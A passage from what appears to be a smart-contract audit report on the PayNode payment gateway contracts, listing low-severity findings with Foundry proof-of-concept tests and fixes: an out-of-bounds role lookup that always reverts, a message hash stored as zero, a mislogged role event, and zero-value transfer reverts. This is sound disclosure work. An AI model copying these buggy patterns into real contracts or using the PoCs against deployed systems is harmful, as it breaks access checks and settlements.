        feeManager = makeAddr("feeManager");
        platformService = makeAddr("platformService");

        implementation = new PayNodeAccessManager();

        address[] memory operators = new address[](1);
        operators[0] = operator;

        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            pasarAdmin,
            superAdmin,
            operators
        );

        ERC1967Proxy proxy = new ERC1967Proxy(address(implementation),
initData);
        accessManager = PayNodeAccessManager(address(proxy));
        vm.startPrank(superAdmin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(), 
aggregator);
        accessManager.grantRole(accessManager.FEE_MANAGER_ROLE(), 
feeManager);
        accessManager.grantRole(accessManager.PLATFORM_SERVICE_ROLE(), 
platformService);
        vm.stopPrank();
    }

    function test_POC_RootCause_ArrayOutOfBounds() public {
        uint256 arraySize = 4;
        uint256 rolesAttempted = 6;
        assertLt(arraySize, rolesAttempted);

        vm.expectRevert();
        accessManager.getAccountRoles(address(0));
    }

    function test_POC_AlwaysReverts_AnyUser() public {
        vm.expectRevert();
        accessManager.getAccountRoles(superAdmin);

        vm.expectRevert();
        accessManager.getAccountRoles(pasarAdmin);

        vm.expectRevert();
        accessManager.getAccountRoles(operator);

        vm.expectRevert();
        accessManager.getAccountRoles(aggregator);

        vm.expectRevert();
        accessManager.getAccountRoles(feeManager);

        vm.expectRevert();
        accessManager.getAccountRoles(platformService);

        address noRoles = makeAddr("noRoles");
        vm.expectRevert();
        accessManager.getAccountRoles(noRoles);

        address newUser = makeAddr("newUser");
        vm.startPrank(superAdmin);
        accessManager.grantRole(accessManager.OPERATOR_ROLE(), newUser);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(), newUser);
        vm.stopPrank();

        vm.expectRevert();
        accessManager.getAccountRoles(newUser);
    }

    function test_POC_SystemIntegration_DOS() public {
        MockAdminDashboard dashboard = new
MockAdminDashboard(address(accessManager));

        vm.expectRevert();
        dashboard.getUserPermissions(superAdmin);

        vm.expectRevert();
        dashboard.getUserPermissions(operator);

        address[] memory users = new address[](3);
        users[0] = superAdmin;
        users[1] = operator;
        users[2] = aggregator;

        vm.expectRevert();
        dashboard.displayMultipleUsers(users);

        MockAccessControlVerifier verifier = new
MockAccessControlVerifier(address(accessManager));

        vm.expectRevert();
        verifier.verifyUserAccess(superAdmin);

        vm.expectRevert();
        verifier.verifyUserAccess(operator);

        vm.expectRevert();
        verifier.verifyUserAccess(makeAddr("randomUser"));
    }

    function test_POC_MassImpact_RealWorld() public {
        address[] memory criticalUsers = new address[](6);
        criticalUsers[0] = superAdmin;
        criticalUsers[1] = pasarAdmin;
        criticalUsers[2] = operator;
        criticalUsers[3] = aggregator;
        criticalUsers[4] = feeManager;
        criticalUsers[5] = platformService;

        for (uint256 i = 0; i < criticalUsers.length; i++) {
            vm.expectRevert();
            accessManager.getAccountRoles(criticalUsers[i]);
        }

        address[] memory massUsers = new address[](100);
        for (uint256 i = 0; i < 100; i++) {
            massUsers[i] = makeAddr(string(abi.encodePacked("user", i)));
        }

        for (uint256 i = 0; i < massUsers.length; i++) {
            vm.expectRevert();
            accessManager.getAccountRoles(massUsers[i]);
        }
        address newOperator = makeAddr("newOperator");
        vm.startPrank(superAdmin);
        accessManager.grantRole(accessManager.OPERATOR_ROLE(),
newOperator);
        vm.stopPrank();

        vm.expectRevert();
        accessManager.getAccountRoles(newOperator);
    }
}
```

Recommendation

Fix the array size to accommodate all 6 roles (or 7 if `DISPUTE_MANAGER_ROLE` should also be included):

```
function getAccountRoles(address account) external view returns (bytes32[]
memory roles) {
    bytes32[] memory allRoles = new bytes32[](7);  // Fixed: 7 slots for
all roles
    allRoles[0] = DEFAULT_ADMIN_ROLE;
    allRoles[1] = ADMIN_ROLE;
    allRoles[2] = OPERATOR_ROLE;
    allRoles[3] = DISPUTE_MANAGER_ROLE;  // Added: was missing
    allRoles[4] = PLATFORM_SERVICE_ROLE;
    allRoles[5] = AGGREGATOR_ROLE;
    allRoles[6] = FEE_MANAGER_ROLE;
    // ... rest of function
}
```

Alternatively, use a more maintainable pattern:

```
function getAccountRoles(address account) external view returns (bytes32[]
memory roles) {
    bytes32[7] memory allRoles = [
        DEFAULT_ADMIN_ROLE,
        ADMIN_ROLE,
        OPERATOR_ROLE,
        DISPUTE_MANAGER_ROLE,
        PLATFORM_SERVICE_ROLE,
        AGGREGATOR_ROLE,
        FEE_MANAGER_ROLE
    ];
    // ... rest of function
}
```

L-2 Message Hash Not Stored in Order Struct

Summary

The `createOrder()` function in `PGateway.sol` validates and tracks the message hash for replay protection but stores `bytes32(0)` instead of the actual `_messageHash` parameter in the order struct. This breaks the critical link between on-chain orders and off-chain user data.

Vulnerability Details

The `createOrder()` function processes the `_messageHash` parameter correctly for validation and replay protection:

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash  // Parameter received
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
    // ...
    if (bytes32(_messageHash).length == 0) revert InvalidMessageHash();
// Validated

    bytes32 msgHash = keccak256(abi.encodePacked(_messageHash));
    if (usedMessageHashes[msgHash]) revert MessageHashAlreadyUsed();  //
Replay protection
    usedMessageHashes[msgHash] = true;
    // ...
```

However, when storing the order, it writes `bytes32(0)` instead of the actual hash:

```
orders[orderId] = PGatewayStructs.Order({
    orderId: orderId,
    user: msg.sender,
    token: _token,
    amount: _amount,
    tier: tier,
    status: PGatewayStructs.OrderStatus.PENDING,
    refundAddress: _refundAddress,
    createdAt: block.timestamp,
    expiresAt: block.timestamp + settings.orderExpiryWindow(),
    acceptedProposalId: bytes32(0),
    fulfilledByProvider: address(0),
    integrator: _integrator,
    integratorFee: _integratorFee,
    _messageHash: bytes32(0)  // @audit Should be _messageHash parameter
});
```

```
emit OrderCreated(orderId, msg.sender, _token, _amount, tier,
orders[orderId].expiresAt, _messageHash);
```

The event correctly emits `_messageHash`, creating an inconsistency between storage and events.

Impact

1. Cannot Verify Order Authenticity: The message hash is critical for linking on-chain orders to off-chain user data (bank details, KYC info, etc.). Without it stored on-chain, future verification of which off-chain order corresponds to which on-chain order becomes impossible through direct contract reads.
2. Dispute Resolution Impaired: In case of disputes between users and providers, the protocol cannot prove on-chain what off-chain data was associated with the order. Parties must rely on event logs which may not be available or trusted in all dispute scenarios.
3. Audit Trail Broken: The permanent link between on-chain and off-chain systems is lost. While events contain the data, contract storage (the authoritative source) does not.
4. Inconsistent State: The event emits the correct `_messageHash` while storage has `bytes32(0)`, creating confusion for integrators and monitoring systems that may read from different sources.

Proof of Concept

Place the following test in `test/POC_M02_MessageHashNotStored.t.sol`

Run the POC:

```
forge t --mp test/POC_M02_MessageHashNotStored.t.sol -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
        roles[ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_M02_MessageHashNotStored is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public aggregator;
    address public provider;
    address public treasury;
    address public integrator;
    address public user;

    uint256 constant ORDER_AMOUNT = 4000e6;
    function setUp() public {
        admin = makeAddr("admin");
        aggregator = makeAddr("aggregator");
        provider = makeAddr("provider");
        treasury = makeAddr("treasury");
        integrator = makeAddr("integrator");
        user = makeAddr("user");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: 100,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: integrator,
                integratorFee: 50,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(user, 1_000_000e6);
        vm.prank(integrator);
        gateway.registerAsIntegrator(100, "TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);
    }

    function test_POC_M02_MessageHashStoredAsZero() public {
        bytes32 expectedMessageHash = keccak256(abi.encodePacked(
            "UserBankAccount:1234567890",
            "UserName:John Doe",
            "TransactionRef:TXN-2024-001"
        ));

        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);

        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            100,
            expectedMessageHash
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);

        assertEq(order._messageHash, bytes32(0));
        assertTrue(expectedMessageHash != bytes32(0));
    }

    function test_POC_M02_DisputeResolutionImpaired() public {
        bytes32 userClaimedHash = keccak256(abi.encodePacked(
            "BankAccount:9876543210",
            "Amount:5000USD",
            "Recipient:Alice Smith"
        ));

        bytes32 providerClaimedHash = keccak256(abi.encodePacked(
            "BankAccount:1111111111",
            "Amount:5000USD",
            "Recipient:Bob Jones"
        ));

        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            100,
            userClaimedHash
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);

        bool canVerifyUserClaim = (order._messageHash == userClaimedHash);
        bool canVerifyProviderClaim = (order._messageHash ==
providerClaimedHash);
        bool storedHashIsZero = (order._messageHash == bytes32(0));

        assertFalse(canVerifyUserClaim);
        assertFalse(canVerifyProviderClaim);
        assertTrue(storedHashIsZero);
    }

    function test_POC_M02_AuditTrailBroken() public {
        bytes32[] memory orderIds = new bytes32[](3);
        bytes32[] memory messageHashes = new bytes32[](3);

        messageHashes[0] =
keccak256("Order1:BankTransfer:1000USD:Account123");
        messageHashes[1] =
keccak256("Order2:BankTransfer:2000USD:Account456");
        messageHashes[2] =
keccak256("Order3:BankTransfer:3000USD:Account789");

        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT * 3);

        for (uint256 i = 0; i < 3; i++) {
            orderIds[i] = gateway.createOrder(
                address(usdc),
                ORDER_AMOUNT,
                user,
                integrator,
                100,
                messageHashes[i]
            );
        }
        vm.stopPrank();

        uint256 indistinguishableOrders = 0;
        for (uint256 i = 0; i < 3; i++) {
            PGatewayStructs.Order memory order =
gateway.getOrder(orderIds[i]);
            if (order._messageHash == bytes32(0)) {
                indistinguishableOrders++;
            }
        }

        assertEq(indistinguishableOrders, 3);
    }
    function test_POC_M02_EventVsStorageInconsistency() public {
        bytes32 originalMessageHash =
keccak256("Critical:UserData:BankInfo:SecretRef");

        vm.startPrank(user);
        usdc.approve(address(gateway), ORDER_AMOUNT);

        vm.recordLogs();

        bytes32 orderId = gateway.createOrder(
            address(usdc),
            ORDER_AMOUNT,
            user,
            integrator,
            100,
            originalMessageHash
        );
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();

        bytes32 eventMessageHash;
        bytes32 orderCreatedSelector =
keccak256("OrderCreated(bytes32,address,address,uint256,uint8,uint256,byte
s32)");
        for (uint256 i = 0; i < entries.length; i++) {
            if (entries[i].topics[0] == orderCreatedSelector) {
                (,,,, eventMessageHash) = abi.decode(
                    entries[i].data,
                    (address, uint256, uint8, uint256, bytes32)
                );
                break;
            }
        }

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        bytes32 storedMessageHash = order._messageHash;

        bool hasInconsistency = (eventMessageHash != storedMessageHash);
        bool eventIsCorrect = (eventMessageHash == originalMessageHash);
        bool storageIsWrong = (storedMessageHash == bytes32(0));

        assertTrue(hasInconsistency);
        assertTrue(eventIsCorrect);
        assertTrue(storageIsWrong);
    }

    function test_POC_M02_MaxImpact_LargeScaleDataLoss() public {
        uint256 numOrders = 20;
        uint256 totalValueLocked = numOrders * ORDER_AMOUNT;

        usdc.mint(user, totalValueLocked);

        bytes32[] memory lostHashes = new bytes32[](numOrders);
        bytes32[] memory orderIds = new bytes32[](numOrders);

        vm.startPrank(user);
        usdc.approve(address(gateway), totalValueLocked);

        for (uint256 i = 0; i < numOrders; i++) {
            lostHashes[i] = keccak256(abi.encodePacked(
                "UserID:", i,
                "BankAccount:", uint256(1000000 + i),
                "Amount:", ORDER_AMOUNT,
                "Timestamp:", block.timestamp
            ));

            orderIds[i] = gateway.createOrder(
                address(usdc),
                ORDER_AMOUNT,
                user,
                integrator,
                100,
                lostHashes[i]
            );
        }
        vm.stopPrank();

        uint256 ordersWithLostData = 0;
        for (uint256 i = 0; i < numOrders; i++) {
            PGatewayStructs.Order memory order =
gateway.getOrder(orderIds[i]);
            if (order._messageHash == bytes32(0)) {
                ordersWithLostData++;
            }
        }

        assertEq(ordersWithLostData, numOrders);
    }
}
```

Recommendation

Store the actual message hash parameter instead of `bytes32(0)`:

```
orders[orderId] = PGatewayStructs.Order({
    orderId: orderId,
    user: msg.sender,
    token: _token,
    amount: _amount,
    tier: tier,
    status: PGatewayStructs.OrderStatus.PENDING,
    refundAddress: _refundAddress,
    createdAt: block.timestamp,
    expiresAt: block.timestamp + settings.orderExpiryWindow(),
    acceptedProposalId: bytes32(0),
    fulfilledByProvider: address(0),
    integrator: _integrator,
    integratorFee: _integratorFee,
-   _messageHash: bytes32(0)
+   _messageHash: _messageHash
});
```

L-3 Incorrect Event Emission in initialize() Causes Off-Chain Monitoring Discrepancy

Summary

The `initialize()` function in `PayNodeAccessManager.sol` emits an incorrect `RoleAssigned` event after granting `FEE_MANAGER_ROLE`. The event incorrectly reports `ADMIN_ROLE` instead of `FEE_MANAGER_ROLE`, causing a mismatch between on-chain state and indexed event data.

Finding Description

In `PayNodeAccessManager.sol`, the `initialize()` function grants three roles to admin addresses and emits corresponding `RoleAssigned` events. However, after granting `FEE_MANAGER_ROLE` to `_pasarAdmin`, the code emits an event claiming `ADMIN_ROLE` was granted:

```
// Line 185-187 in PAccessManager.sol
_grantRole(FEE_MANAGER_ROLE, _pasarAdmin);
emit RoleAssigned(pasarAdmin, ADMIN_ROLE, msg.sender);  // BUG: Should be
FEE_MANAGER_ROLE
```

This results in:

1. `ADMIN_ROLE` event being emitted twice for `pasarAdmin`
2. `FEE_MANAGER_ROLE` event never being emitted
3. Off-chain systems having incorrect role assignment data

Impact

Data Integrity Impact:

- Off-chain monitoring systems, block explorers, and indexers (e.g., The Graph, Dune Analytics) will index incorrect role assignment data
- Security dashboards will not display `FEE_MANAGER_ROLE` for `pasarAdmin`
- Audit trails show duplicate `ADMIN_ROLE` grants instead of accurate role distribution

Operational Impact:

- Incident response teams may investigate non-existent duplicate role grants

- Access control dashboards misrepresent the actual permission structure
- Compliance and audit reports based on event logs will be inaccurate
- Security monitoring alerts may fail to trigger for `FEE_MANAGER_ROLE` changes

Security Monitoring Impact:

- If `FEE_MANAGER_ROLE` is later revoked or modified, monitoring systems may not detect changes correctly since the initial grant was never properly logged
- Role-based access analytics will be skewed

Proof of Concept

POC Code

Save this POC to `test/POC_M03_IncorrectEventEmission.t.sol`

Run the POC:

```
forge t --mp test/POC_M03_IncorrectEventEmission.t.sol -vv
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/access/PAccessManager.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract POC_M03_IncorrectEventEmission is Test {
    PayNodeAccessManager public accessManager;

    address public superAdmin = address(0x1);
    address public pasarAdmin = address(0x2);
    address public operator1 = address(0x3);
    address public operator2 = address(0x4);

    event RoleAssigned(address indexed account, bytes32 indexed role,
address indexed assigner);

    function setUp() public {
        vm.deal(superAdmin, 100 ether);
    }

    function test_POC_IncorrectEventEmission_DuplicateAdminRoleEvent()
public {
        PayNodeAccessManager impl = new PayNodeAccessManager();

        address[] memory operators = new address[](2);
        operators[0] = operator1;
        operators[1] = operator2;
        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            pasarAdmin,
            superAdmin,
            operators
        );

        bytes32 ADMIN_ROLE = keccak256("ADMIN_ROLE");
        bytes32 FEE_MANAGER_ROLE = keccak256("FEE_MANAGER_ROLE");

        vm.recordLogs();

        ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);
        accessManager = PayNodeAccessManager(address(proxy));

        Vm.Log[] memory logs = vm.getRecordedLogs();

        uint256 adminRoleEventCount = 0;
        uint256 feeManagerRoleEventCount = 0;

        bytes32 roleAssignedTopic =
keccak256("RoleAssigned(address,bytes32,address)");

        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].topics[0] == roleAssignedTopic) {
                bytes32 roleEmitted = logs[i].topics[2];

                if (roleEmitted == ADMIN_ROLE) {
                    adminRoleEventCount++;
                }
                if (roleEmitted == FEE_MANAGER_ROLE) {
                    feeManagerRoleEventCount++;
                }
            }
        }

        assertEq(adminRoleEventCount, 2, "BUG: ADMIN_ROLE event emitted
twice instead of once");
        assertEq(feeManagerRoleEventCount, 0, "BUG: FEE_MANAGER_ROLE event
was never emitted");

        assertTrue(
            accessManager.hasRole(FEE_MANAGER_ROLE, pasarAdmin),
            "On-chain: pasarAdmin HAS FEE_MANAGER_ROLE"
        );

        assertTrue(
            accessManager.hasRole(ADMIN_ROLE, pasarAdmin),
            "On-chain: pasarAdmin HAS ADMIN_ROLE"
        );
    }

    function test_POC_EventVsStateDiscrepancy_OffchainMonitoringImpact()
```

```
public {
        PayNodeAccessManager impl = new PayNodeAccessManager();

        address[] memory operators = new address[](1);
        operators[0] = operator1;

        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            pasarAdmin,
            superAdmin,
            operators
        );

        bytes32 ADMIN_ROLE = keccak256("ADMIN_ROLE");
        bytes32 FEE_MANAGER_ROLE = keccak256("FEE_MANAGER_ROLE");

        vm.recordLogs();

        ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);
        accessManager = PayNodeAccessManager(address(proxy));

        Vm.Log[] memory logs = vm.getRecordedLogs();

        bytes32 roleAssignedTopic =
keccak256("RoleAssigned(address,bytes32,address)");

        uint256 eventCount = 0;
        bytes32[] memory rolesFromEvents = new bytes32[](10);
        address[] memory accountsFromEvents = new address[](10);

        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].topics[0] == roleAssignedTopic) {
                address account =
address(uint160(uint256(logs[i].topics[1])));
                bytes32 role = logs[i].topics[2];

                accountsFromEvents[eventCount] = account;
                rolesFromEvents[eventCount] = role;
                eventCount++;
            }
        }

        bool offchainShowsFeeManagerForPasarAdmin = false;
        uint256 adminRoleCountForPasarAdmin = 0;

        for (uint256 i = 0; i < eventCount; i++) {
            if (accountsFromEvents[i] == pasarAdmin) {
                if (rolesFromEvents[i] == FEE_MANAGER_ROLE) {
                    offchainShowsFeeManagerForPasarAdmin = true;
                }
                if (rolesFromEvents[i] == ADMIN_ROLE) {
                    adminRoleCountForPasarAdmin++;
                }
            }
        }

        bool onchainHasFeeManagerRole =
accessManager.hasRole(FEE_MANAGER_ROLE, pasarAdmin);
        bool onchainHasAdminRole = accessManager.hasRole(ADMIN_ROLE,
pasarAdmin);

        assertFalse(
            offchainShowsFeeManagerForPasarAdmin,
            "Off-chain indexers will NOT see FEE_MANAGER_ROLE for
pasarAdmin"
        );

        assertEq(
            adminRoleCountForPasarAdmin,
            2,
            "Off-chain indexers see ADMIN_ROLE granted TWICE to
pasarAdmin"
        );

        assertTrue(
            onchainHasFeeManagerRole,
            "On-chain reality: pasarAdmin HAS FEE_MANAGER_ROLE"
        );

        assertTrue(
            onchainHasAdminRole,
            "On-chain reality: pasarAdmin HAS ADMIN_ROLE (only once)"
        );
    }

    function test_POC_SecurityDashboardMisrepresentation() public {
        PayNodeAccessManager impl = new PayNodeAccessManager();

        address[] memory operators = new address[](1);
        operators[0] = operator1;

        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            pasarAdmin,
            superAdmin,
            operators
        );

        bytes32 ADMIN_ROLE = keccak256("ADMIN_ROLE");
        bytes32 FEE_MANAGER_ROLE = keccak256("FEE_MANAGER_ROLE");
        bytes32 DEFAULT_ADMIN_ROLE = bytes32(0);
        bytes32 OPERATOR_ROLE = keccak256("OPERATOR_ROLE");

        vm.recordLogs();

        ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);
        accessManager = PayNodeAccessManager(address(proxy));
        Vm.Log[] memory logs = vm.getRecordedLogs();

        bytes32 roleAssignedTopic =
keccak256("RoleAssigned(address,bytes32,address)");

        uint256 totalRolesFromEvents = 0;
        uint256 uniqueRoleTypesFromEvents = 0;

        bool sawDefaultAdmin = false;
        bool sawAdminRole = false;
        bool sawOperatorRole = false;
        bool sawFeeManagerRole = false;

        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].topics[0] == roleAssignedTopic) {
                totalRolesFromEvents++;
                bytes32 role = logs[i].topics[2];

                if (role == DEFAULT_ADMIN_ROLE && !sawDefaultAdmin) {
                    sawDefaultAdmin = true;
                    uniqueRoleTypesFromEvents++;
                }
                if (role == ADMIN_ROLE && !sawAdminRole) {
                    sawAdminRole = true;
                    uniqueRoleTypesFromEvents++;
                }
                if (role == OPERATOR_ROLE && !sawOperatorRole) {
                    sawOperatorRole = true;
                    uniqueRoleTypesFromEvents++;
                }
                if (role == FEE_MANAGER_ROLE && !sawFeeManagerRole) {
                    sawFeeManagerRole = true;
                    uniqueRoleTypesFromEvents++;
                }
            }
        }

        uint256 actualRolesOnChain = 0;
        if (accessManager.hasRole(DEFAULT_ADMIN_ROLE, superAdmin))
actualRolesOnChain++;
        if (accessManager.hasRole(ADMIN_ROLE, pasarAdmin))
actualRolesOnChain++;
        if (accessManager.hasRole(FEE_MANAGER_ROLE, pasarAdmin))
actualRolesOnChain++;
        if (accessManager.hasRole(OPERATOR_ROLE, operator1))
actualRolesOnChain++;

        assertEq(totalRolesFromEvents, 4, "Events show 4 role
assignments");
        assertEq(actualRolesOnChain, 4, "On-chain has 4 role
assignments");

        assertFalse(sawFeeManagerRole, "BUG: Security dashboard missing
FEE_MANAGER_ROLE");
```

```
        assertTrue(sawAdminRole, "Security dashboard shows ADMIN_ROLE");

        assertEq(uniqueRoleTypesFromEvents, 3, "Events only show 3 unique
role types");
    }

    function test_POC_AuditTrailCorruption() public {
        PayNodeAccessManager impl = new PayNodeAccessManager();

        address[] memory operators = new address[](1);
        operators[0] = operator1;

        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            pasarAdmin,
            superAdmin,
            operators
        );

        bytes32 ADMIN_ROLE = keccak256("ADMIN_ROLE");
        bytes32 FEE_MANAGER_ROLE = keccak256("FEE_MANAGER_ROLE");

        vm.recordLogs();

        ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);
        accessManager = PayNodeAccessManager(address(proxy));

        Vm.Log[] memory logs = vm.getRecordedLogs();

        bytes32 roleAssignedTopic =
keccak256("RoleAssigned(address,bytes32,address)");

        uint256 adminRoleGrantCount = 0;
        uint256 feeManagerGrantCount = 0;

        for (uint256 i = 0; i < logs.length; i++) {
            if (logs[i].topics[0] == roleAssignedTopic) {
                address account =
address(uint160(uint256(logs[i].topics[1])));
                bytes32 role = logs[i].topics[2];

                if (account == pasarAdmin && role == ADMIN_ROLE) {
                    adminRoleGrantCount++;
                }
                if (account == pasarAdmin && role == FEE_MANAGER_ROLE) {
                    feeManagerGrantCount++;
                }
            }
        }

        assertEq(
            adminRoleGrantCount,
            2,
            "Audit trail shows pasarAdmin received ADMIN_ROLE TWICE
(duplicate/corrupted)"
        );

        assertEq(
            feeManagerGrantCount,
            0,
            "Audit trail MISSING: pasarAdmin's FEE_MANAGER_ROLE grant not
recorded"
        );

        assertTrue(
            accessManager.hasRole(FEE_MANAGER_ROLE, pasarAdmin),
            "But pasarAdmin CAN exercise FEE_MANAGER_ROLE powers"
        );
    }
}
```

Recommendation

Fix the event emission to emit the correct role:

```
        // The FEE_MANAGER_ROLE is also assigned to the PasarAdmin for fee
management.
        _grantRole(FEE_MANAGER_ROLE, _pasarAdmin);
-       emit RoleAssigned(pasarAdmin, ADMIN_ROLE, msg.sender); // Logs the
role assignment.
+       emit RoleAssigned(pasarAdmin, FEE_MANAGER_ROLE, msg.sender); //
Logs the role assignment.
```

L-4: Zero-Value Token Transfers May Cause DOS

Summary

The `executeSettlement()` function in `PGateway.sol` performs token transfers without checking if the amount is zero. Some ERC20 tokens (like LEND) revert on zero-value transfers, causing settlement failures for small orders where fees round down to zero.

Vulnerability Detail

In `PGateway.sol` lines 776-778, the settlement execution transfers fees without validating they are non-zero:

```
uint256 integratorFee = (proposal.proposedAmount * order.integratorFee) /
settings.MAX_BPS();
uint256 protocolFee = (proposal.proposedAmount *
settings.protocolFeePercent()) / settings.MAX_BPS();
uint256 providerFee = (proposal.proposedAmount * proposal.proposedFeeBps)
```

```
/ settings.MAX_BPS();
uint256 providerAmount = proposal.proposedAmount - protocolFee -
integratorFee;

IERC20(order.token).safeTransfer(settings.treasuryAddress(), protocolFee);
// @audit Could be 0
IERC20(order.token).safeTransfer(order.integrator, integratorFee);
// @audit Could be 0
IERC20(order.token).safeTransfer(proposal.provider, providerAmount);
```

With `MAX_BPS = 100,000`:

- Protocol fee of 100 bps (0.1%): orders < 1000 wei result in `protocolFee = 0`
- Integrator fee of 50 bps (0.05%): orders < 2000 wei result in `integratorFee = 0`

When these fees round to zero, calling `safeTransfer(address, 0)` on tokens like LEND will revert, blocking the entire settlement.

Impact

1. Settlement DOS: Small orders cannot be settled when using tokens that revert on zero transfers. The order reaches ACCEPTED status but `executeSettlement()` always reverts.

2. Broken Core Functionality: Users who create small orders with affected tokens can never complete their intended off-ramp transaction. They are forced to wait for order expiry and then request a refund.

3. Token Incompatibility: The protocol becomes incompatible with a class of ERC20 tokens that implement zero-transfer restrictions (LEND, BNB on some implementations, and other non-standard tokens).

4. User Experience Degradation: Even though refunds work (since `order.amount > 0`), users experience failed transactions and must wait for expiry timeout before recovering funds.

Affected Thresholds (with current fee configuration):

Fee Type	BPS	Minimum Order for Non-Zero Fee
Protocol Fee	100	1,000 wei
Integrator Fee	50	2,000 wei

Any order below these thresholds will fail settlement with zero-revert tokens.

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L762-L795

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
```

```
    PGatewayStructs.SettlementProposal storage proposal =
proposals[_proposalId];
    if (proposal.status != PGatewayStructs.ProposalStatus.ACCEPTED) revert
InvalidProposal();
    if (proposalExecuted[_proposalId]) revert InvalidProposal();

    PGatewayStructs.Order storage order = orders[proposal.orderId];
    if (order.status != PGatewayStructs.OrderStatus.ACCEPTED) revert
InvalidOrder();

    uint256 integratorFee = (proposal.proposedAmount *
order.integratorFee) / settings.MAX_BPS();
    uint256 protocolFee = (proposal.proposedAmount *
settings.protocolFeePercent()) / settings.MAX_BPS();
    uint256 providerFee = (proposal.proposedAmount *
proposal.proposedFeeBps) / settings.MAX_BPS();
    uint256 providerAmount = proposal.proposedAmount - protocolFee -
integratorFee;

    // @audit All three transfers can revert if amount is 0 and token
doesn't allow zero transfers
    IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
    IERC20(order.token).safeTransfer(order.integrator, integratorFee);
    IERC20(order.token).safeTransfer(proposal.provider, providerAmount);

    proposalExecuted[_proposalId] = true;
    order.status = PGatewayStructs.OrderStatus.FULFILLED;

    _updateProviderSuccess(proposal.provider, block.timestamp -
proposal.proposedAt);

    emit SettlementExecuted(
        proposal.orderId,
        _proposalId,
